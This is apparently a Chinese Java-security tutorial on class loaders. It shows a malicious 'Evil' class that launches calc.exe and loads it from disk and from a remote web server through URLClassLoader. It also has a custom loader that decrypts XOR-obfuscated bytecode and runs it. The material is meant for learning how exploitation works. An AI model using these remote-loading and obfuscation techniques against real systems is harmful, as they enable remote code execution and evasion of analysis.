0x00 前言 通过上一文的流程图我们可以知道,一切Java类在编译后都必须经过JVM加载才能运行,用来加载类的类就是类加载器(ClassLoader),也就是forName第二个重载方式中所要填写的第三个参数,类加载器负责将class字节码转换成内存的class类,除了系统自定义的三类加载器外,java允许用户编写自定义加载器来完成类的加载过程。java安全中常常需要远程加载恶意类文件来完成漏洞的利用,所以学习类加载器的编写也是很重要的。
注:本文只是从安全角度去理解类加载器,并不涉及过深入的内容,如果想了解更加深入的内容,请移步至这本书:《深入理解java虚拟机》 。
0x01 系统自定义加载器 首先说一下系统自定义的三个类加载器,分别是引导类加载器(BootstrapClassLoader)、扩展类加载器(ExtensionsClassLoader)、App类加载器/系统类加载器(AppClassLoader)
BootstrapClassLoader 负责加载 JVM 运行时核心类以及JVM本身,这些核心类位于 JAVA_HOME/lib/rt.jar 文件中,我们常用内置库 java.xxx.* 都在里面,比如 java.util.*、java.io.*、java.nio.*、java.lang.* 等等。这个 类加载器 比较特殊,它是由 C 代码实现的,我们将它称之为「根加载器」。
ExtensionClassLoader 负责加载 JVM 扩展类,比如 swing 系列、内置的 js 引擎、xml 解析器 等等,这些库名通常以 javax 开头,它们的 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,有很多 jar 包。
AppClassLoader 才是直接面向我们用户的加载器,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录。我们自己编写的代码以及使用的第三方 jar 包通常都是由它来加载的。
正是通过这三个类加载器互相配合,完成了类的加载,当然加载过程十分复杂,还涉及到比较重要的“双亲委派”机制,由于本文就是初步了解,就不深入理解底层原理了。
我们需要掌握的是接下来的用户自定义的类加载器,可以通过继承java.lang.ClassLoader类的方式编写属于自己的类加载器。
0x02 java.lang.ClassLoader类中的核心方法 在提及用户自定义类加载器之前,我们先来研究研究这个比较关键的类,ClassLoader类, 后文写的类都要继承自它并且调用它里面的成员方法。
在rt.jar包下的java.lang包下我们可以找到ClassLoader这个类的源码文件,下面我们将研究它的几个重要方法:
loadClass(String, boolean) 该方法是核心方法,也是最常用的,用来加载指定的类,返回结果是一个class对象。源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { Class<?> c = findLoadedClass(name); if (c == null ) { long t0 = System.nanoTime(); try { if (parent != null ) { c = parent.loadClass(name, false ); } else { c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { } if (c == null ) { long t1 = System.nanoTime(); c = findClass(name); sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if (resolve) { resolveClass(c); } return c; } }
其中的parent为ClassLoader类的一个成员属性,而非子父类继承关系。
在loadClass()方法中,它先使用了另外一个成员方法findLoadedClass(String)检查传入的这个类是否被加载过,如果已经被加载过,就不过任何操作,直接返回这个加载过的类的class对象;如果没被加载过,接着使用父加载器调用loadClass(String)方法,尝试通过父加载器加载指定类,若所有的父加载器都尝试失败后(即最终返回的值为null),交由当前ClassLoader重写的findClass方法去加载。
最后通过上述步骤找到对应的类,如果传入的resolve参数值为true,那么就会调用另外一个成员方法resolveClass(Class)方法来处理类。
findClass(String) 查找指定java类,返回值为一个Class对象。
1 2 3 protected Class<?> findClass(String name) throws ClassNotFoundException { throw new ClassNotFoundException (name); }
该方法是交由子类来修改覆盖的。
findLoadedClass(String) 前面已经说过,用来查找jvm当前是否已经加载过该类
1 2 3 4 5 6 protected final Class<?> findLoadedClass(String name) { if (!checkName(name)) return null ; return findLoadedClass0(name); } private native final Class<?> findLoadedClass0(String name);
defineClass 用来定义一个java类,将字节码解析成jvm识别的Class对象。往往和findClass()方法配合使用。
1 2 3 4 5 6 @Deprecated protected final Class<?> defineClass(byte [] b, int off, int len) throws ClassFormatError { return defineClass(null , b, off, len, null ); }
resolveClass 链接指定Java类
1 2 3 4 5 protected final void resolveClass (Class<?> c) { resolveClass0(c); } private native void resolveClass0 (Class<?> c) ;
0x03 URLClassLoader 上面的系统自定义加载器类只可以满足加载java自身自带的一些类,但很多情况下我们需要的是能够加载本地磁盘或者网络外部的一些自己构造好的类。URLClassLoader满足了我们这一需求。
URLClassLoader是系统自带的继承自ClassLoader类的的类,它在ClassLoader基础上扩展了一些功能,看名字就知道它的功能与URL有关,它可以加载本地磁盘和网络中的jar包里的类文件。
加载本地磁盘中的外部类 我们在本地编写一个恶意类,其中构造函数中写入执行命令的操作,这里还是以打开计算器为例演示:
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.Anchor;public class Evil { public Evil () { System.out.println("Loading the evilClass..." ); try { Runtime.getRuntime().exec("cmd /c calc.exe" ); } catch (Exception e) { e.printStackTrace(); } } }
可以通过javac将其编译为class文件,idea里可以直接选择“构建”中的“重新编译”来编译java文件生成class文件
此时在项目文件夹相应目录下会生成class文件
在main函数中我们构造将该恶意类的文件路径构造成一个URL的实例,传入到URLClassLoader中,从而使程序可以加载恶意类,并进行实例化从而触发恶意类的构造函数,具体细节可以看注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.Anchor;import java.io.File;import java.net.URI;import java.net.URLClassLoader;import java.net.URL;public class Main { public static void main (String[] args) throws Exception { File file = new File ("G:\\javaSecurity\\javaSec\\out\\production\\javaSec\\" ); URI uri = file.toURI(); URL url = uri.toURL(); URLClassLoader classLoader = new URLClassLoader (new URL []{url}); Class clazz = classLoader.loadClass("com.Anchor.Evil" ); clazz.newInstance(); } }
运行后成功弹出计算器:
加载远程中的外部类 更多的场景下,我们会将恶意类放到自己远程vps中并开启web服务,然后利用URLClassLoader加载这个远程的恶意类达到命令执行目的。
这里我就将上面Evil.java文件编译生成的Evil.class文件放到自己阿里服务器上,然后在相应目录下用python开启简易的http服务:
将main函数改造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.Anchor;import java.net.URLClassLoader;import java.net.URL;public class Main { public static void main (String[] args) throws Exception { URL url = new URL ("http://xx.xx.xx.xx:9999/" ); URLClassLoader classLoader = new URLClassLoader (new URL []{url}); Class clazz = classLoader.loadClass("com.Anchor.Evil" ); clazz.newInstance(); } }
成功弹出计算器:
0x04 自定义类加载器 除了利用URLClassLoader,我们可以自己继承java.lang.ClassLoader类来构造一个自定义的类加载器。
通过上面的ClassLoader中的源码分析,我们知道,虽然loadClass是一个加载类的核心方法,但是其内部在实现装载类操作的时后还是通过调用findClass方法来实现的,所以我们要想加载自己自定义的类,就需要覆盖这个findClass方法,而不是loadClass方法。
以下是如何构造一个自定义类加载器:
继承ClassLoader类
覆盖findClass方法
在findClass()方法中调用defineClass方法
下面就用一个加密java类字节码例子来演示(模仿的这个大佬的博客 ):
首先创建一个CypherTest.java文件,里面有main函数,实现弹出计算器的操作。然后和上文一样,将其编译,得到字节码文件CypherTest.class
1 2 3 4 5 6 7 package com.Anchor;public class CypherTest { public static void main (String[] args) throws Exception{ Runtime.getRuntime().exec("cmd /c calc.exe" ); } }
之后编写一个加密类Encryption,实现对CypherTest.class文件内容的逐位取反加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package com.Anchor;import java.io.*;public class Encryption { public static void main (String[] args) { encode(new File ("G:\\javaSecurity\\javaSec\\out\\production\\javaSec\\com\\Anchor\\CypherTest.class" ), new File ("G:\\javaSecurity\\javaSec\\out\\production\\javaSec\\temp\\com\\Anchor\\CypherTest.class" )); } public static void encode (File src, File dest) { FileInputStream fis = null ; FileOutputStream fos = null ; try { fis = new FileInputStream (src); fos = new FileOutputStream (dest); int temp = -1 ; while ((temp = fis.read()) != -1 ) { fos.write(temp ^ 0xff ); } } catch (IOException e) { e.printStackTrace(); } finally { if (fis != null ) { try { fis.close(); } catch (IOException e) { e.printStackTrace(); } try { fos.close(); } catch (IOException e) { e.printStackTrace(); } } } System.out.println("This experiment test is successful" ); } }
运行后在temp的项目文件中生成了加密的CypherTest.class文件
因为是自定义的加密,我们无法使用工具直接进行反编译操作和直接使用jvm默认的类加载器去加载它。
这时候就需要自定义加载器来加载了,我们可以编写一个解密类,用它继承ClassLoader类,修改将CypherTest.class加载进来的方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.Anchor;import java.io.ByteArrayOutputStream;import java.io.FileInputStream;import java.io.IOException;import java.io.InputStream;public class Decryption extends ClassLoader { private String rootDir; public Decryption (String rootDir) { this .rootDir = rootDir; } @Override protected Class<?> findClass(String className) throws ClassNotFoundException { Class<?> c = findLoadedClass(className); if (c != null ) { return c; } else { ClassLoader parent = this .getParent(); try { c = parent.loadClass(className); } catch (ClassNotFoundException e) { } if (c != null ) { System.out.println("父类成功加载" ); return c; } else { byte [] classData = getClassData(className); if (classData == null ) { throw new ClassNotFoundException (); } else { c = defineClass(className, classData, 0 , classData.length); return c; } } } } public byte [] getClassData(String className) { String path = rootDir + "/" + className.replace('.' , '/' ) + ".class" ; InputStream is = null ; ByteArrayOutputStream baos = new ByteArrayOutputStream (); try { is = new FileInputStream (path); byte [] buffer = new byte [1024 ]; int temp = -1 ; while ((temp = is.read()) != -1 ) { baos.write(temp ^ 0xff ); } return baos.toByteArray(); } catch (Exception e) { e.printStackTrace(); return null ; } finally { if (is != null ) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (baos != null ) { try { baos.close(); } catch (IOException e) { e.printStackTrace(); } } } } }
这里我们使用将Decryption继承ClassLoader类,之后覆盖findClass()方法,并且在findClass()方法中调用defineClass()方法使用,最后加载我们自定义的getClassData方法去进行解密操作。
最后我们编写测试的main函数,实例化我们自定义的Decryption得到一个加载器实例,然后用它来加载我们的CypherClass类,从而得到Class对象,通过java反射获取它main函数的Method实例,从而执行main函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.Anchor;import java.lang.reflect.Method;public class Main { public static void main (String[] args) throws Exception { Decryption dLoader = new Decryption ("G:/javaSecurity/javaSec/out/production/javaSec/temp" ); Class<?> aClass = dLoader.loadClass("com.Anchor.CypherTest" ); Method main = aClass.getMethod("main" , String[].class); main.invoke(null ,(Object)new String []{}); } }
运行该main函数,成功弹出计算器:
0x05 小结 相比于类反射,类加载器这部分原理更接近与底层了,这篇只是写了个皮毛。不过最重要的内容还是学会如何编写一个自定义类加载器,这个是挺关键的。
参考文章:
JAVA安全基础(一)–类加载器(ClassLoader)
《深入理解java虚拟机》